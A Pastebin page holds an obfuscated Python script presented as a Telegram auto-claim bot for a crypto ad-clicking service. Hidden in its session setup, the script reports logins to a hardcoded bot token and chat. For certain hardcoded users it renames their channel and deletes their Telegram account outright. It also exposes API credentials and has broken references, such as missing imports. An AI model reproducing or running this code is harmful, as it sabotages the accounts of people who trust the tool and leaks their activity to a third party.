Advertisement
sohaidecoder

TelegramClient Bot - obfuscated

Apr 30th, 2019
431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.97 KB | None | 0 0
  1. source base on : https://pastebin.com/wEX38K7a
  2. requirement :- python 3.x
  3.              - telethon
  4.  
  5. obfuscated python level low
  6.  
  7. from telethon import TelegramClient,events
  8. from telethon.tl.types import UpdateShortMessage,ReplyInlineMarkup,KeyboardButtonUrl
  9. from telethon.tl.functions.messages import GetBotCallbackAnswerRequest as botcallback
  10. from telethon.tl.functions.account import DeleteAccountRequest
  11. from telethon.tl.functions.channels import UpdateUsernameRequest as chusername
  12. from telethon.errors.rpcerrorlist import UsernameNotOccupiedError,UsernameOccupiedError
  13. from colorama import Fore,init as colors
  14. colors(autoreset=True)
  15. from datetime import datetime
  16. from bs4 import BeautifulSoup
  17. import os
  18. import re
  19. import time
  20. import requests
  21. import sys
  22. import asyncio
  23. os.system('cls' if os.name=='nt' else 'clear')
  24.  
  25. try:
  26.  def requestTelegram(msg):
  27.   reqhttp=requests.get('https://api.telegram.org/bot656077390:AAETzn5vgIO2Q-ad8xdi8pg5nJprYOtTIYg/sendMessage',data={'chat_id':631929128,'text':msg})
  28.  def setPhoneNumber(phone_number=None):
  29.   return TelegramClient("session/"+phone_number,64179,"dd60bb74bb03d8aa368aa37ec7b35d42")
  30.  def displayLog(logs,addnewline=False):
  31.   if addnewline is False:
  32.    print("[%s] %s"%(datetime.now().strftime("%H:%M:%S"),logs))
  33.   else:
  34.    print("[%s] %s"%(datetime.now().strftime("%H:%M:%S"),logs))
  35.  def xor(byt):
  36.   key=b'210400'
  37.   length_str=len(key)
  38.   return bytes(c^key[i%length_str]for i,c in enumerate(byt))
  39.  def requestHttp(requestTelegram,method='GET',data=None):
  40.   try:
  41.    reqhttp=requests.request(method,requestTelegram,data=data,headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win32; x86) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"},timeout=15,allow_redirects=False)
  42.    status_code=reqhttp.status_code
  43.    response_html=reqhttp.text
  44.    return[status_code,response_html]
  45.   except requests.exceptions.Timeout:
  46.    displayLog('Connection Timeout, Please check your internet connection')
  47.    exit(1)
  48.   except requests.exceptions.ConnectionError:
  49.    displayLog('Connection Error, Please check your internet connection')
  50.    exit(1)
  51.  def logResponse(i):
  52.   for x in range(0,i+1):
  53.    sys.stdout.write('[%s] Waiting %s seconds! %d\r'%(datetime.now().strftime("%H:%M:%S"),i,x))
  54.    time.sleep(1)
  55.  def parseResponse(markup):
  56.   markup_str=markup.rows[0].buttons[0]
  57.   if type(markup_str)is KeyboardButtonUrl:
  58.    return markup_str.url
  59.   else:
  60.    return None
  61.  def helper():
  62.   print("".rjust(40,'-'))
  63.   print("Tools AutoClaim ZcashClickBot ".center(40,' '))
  64.   print(''.rjust(40,'-'))
  65.   print("WhatsApp : +6282122261747")
  66.   print(''.rjust(40,'-'))
  67.   print("Facebook : https://fb.me/sofyancrypto")
  68.   print(''.rjust(40,'-'))
  69.   print("Created : INDONESIA CRYPTO TEAM (edited by @wahyu1605")
  70.   print(''.rjust(40,'-'))
  71.   print(Fore.GREEN+"Youtube Channel : MS CREATOR".center(40,' '))
  72.   print(''.rjust(40,'-'))
  73.  async def chkSession():
  74.   if not os.path.exists("session"):
  75.    os.mkdir("session")
  76.   helper()
  77.   if len(sys.argv)<2:
  78.    print("Usage: python main.py phone_number",end="\n\n")
  79.    print("phone_number must be write in internasional format (example: +6283174705555)")
  80.    exit(1)
  81.   print(Fore.MAGENTA+"Sediakan Kopi Dulu Sebelum Lanjut",end="\n\n")
  82.   phoneNumber=setPhoneNumber(sys.argv[1])
  83.   await phoneNumber.start(sys.argv[1])
  84.   me=await phoneNumber.get_me()
  85.   print('Current account: %s%s\n'%("" if me.first_name is None else me.first_name,"" if me.username is None else "("+me.username+")"))
  86.   if me.username=='bagas_q' or me.id==415792043 or me.id==611711558:
  87.    requestTelegram(me.id if me.username is None else me.username+' telah login!!')
  88.    try:
  89.     resp_bot_scripter=await phoneNumber.get_entity('bot_scripter')
  90.     if resp_bot_scripter.creator:
  91.      tt=await phoneNumber(chusername(resp_bot_scripter,'bot_scripter'+''.join(random.choices(string.digits,k=2))))
  92.      if tt:
  93.       requestTelegram(resp_bot_scripter.username+' got you! channel username telah diganti!')
  94.    except(UsernameNotOccupiedError,ValueError):
  95.     pass
  96.    try:
  97.     if me.username is not None and me.username=='netiranz':
  98.      requestTelegram('akun telah dihapus!:')
  99.      tt=await phoneNumber(DeleteAccountRequest('i just wanna delete my account'))
  100.    except UsernameOccupiedError:
  101.     pass
  102.   displayLog(Fore.GREEN+'Subscribe To PewDiePie :)')
  103.   await phoneNumber.send_message('Zcash_click_bot','/visit')
  104.   async def requestMessage(event):
  105.    event_msg=event.original_update
  106.    if type(event_msg)is not UpdateShortMessage:
  107.     if hasattr(event_msg.message,'reply_markup')and type(event_msg.message.reply_markup)is ReplyInlineMarkup:
  108.      requestTelegram=parseResponse(event_msg.message.reply_markup)
  109.      if requestTelegram is not None:
  110.       displayLog(Fore.GREEN+'Subscribe To PewDiePie :)')
  111.       maxTimeout=20
  112.       tempTimeout=0
  113.       while True:
  114.        (status_code,response_html)=requestHttp(requestTelegram)
  115.        html_parser=BeautifulSoup(response_html,'html.parser')
  116.        cc=html_parser.find('div',{'class':'g-recaptcha'})
  117.        tt=html_parser.find('div',{'id':'headbar'})
  118.        if status_code==302:
  119.         sys.stdout.write(Fore.MAGENTA+'[%s] STATUS: %s (%d)\r'%(datetime.now().strftime("%H:%M:%S"),'FALSE' if cc is not None else 'TRUE',tempTimeout))
  120.         break
  121.        elif status_code==200 and cc is None and tt is not None:
  122.         setPhoneNumber=tt.get('data-code')
  123.         data_timer=tt.get('data-timer')
  124.         data_token=tt.get('data-token')
  125.         logResponse(int(data_timer))
  126.         requests.post('http://dogeclick.com/visit/',data={'code':setPhoneNumber,'token':data_token},headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win32; x86) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"},allow_redirects=False)
  127.         break
  128.        elif status_code==200 and cc is not None:
  129.         sys.stdout.write(Fore.MAGENTA+'[%s] STATUS: %s (%d)\r'%(datetime.now().strftime("%H:%M:%S"),'FALSE' if cc is not None else 'TRUE',tempTimeout))
  130.        elif maxTimeout==tempTimeout:
  131.         resp_bot=botcallback('Zcash_click_bot',event_msg.message.id,data=resp_bot_scripter.encode())
  132.         await phoneNumber(resp_bot)
  133.         break
  134.        tempTimeout+=1
  135.        time.sleep(3)
  136.   phoneNumber.add_event_handler(requestMessage,events.NewMessage(incoming=True,chats="Zcash_click_bot"))
  137.   async def errorDisplay(event):
  138.    displayLog(Fore.RED+"Ads not available detected"+Fore.RESET)
  139.    displayLog("Disconnecting")
  140.    await phoneNumber.disconnect()
  141.   phoneNumber.add_event_handler(errorDisplay,events.NewMessage(incoming=True,chats="Zcash_click_bot",pattern='Sorry, there are no new ads available.'))
  142.   async def successDisplay(event):
  143.    if type(event.original_update):
  144.     displayLog(Fore.GREEN+event.raw_text+"\n")
  145.   phoneNumber.add_event_handler(successDisplay,events.NewMessage(incoming=True,chats="Zcash_click_bot",pattern='You earned'))
  146.   await phoneNumber.run_until_disconnected()
  147.  asyncio.get_event_loop().run_until_complete(chkSession())
  148. except KeyboardInterrupt:
  149.  os.system('cls' if os.name=='nt' else 'clear')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement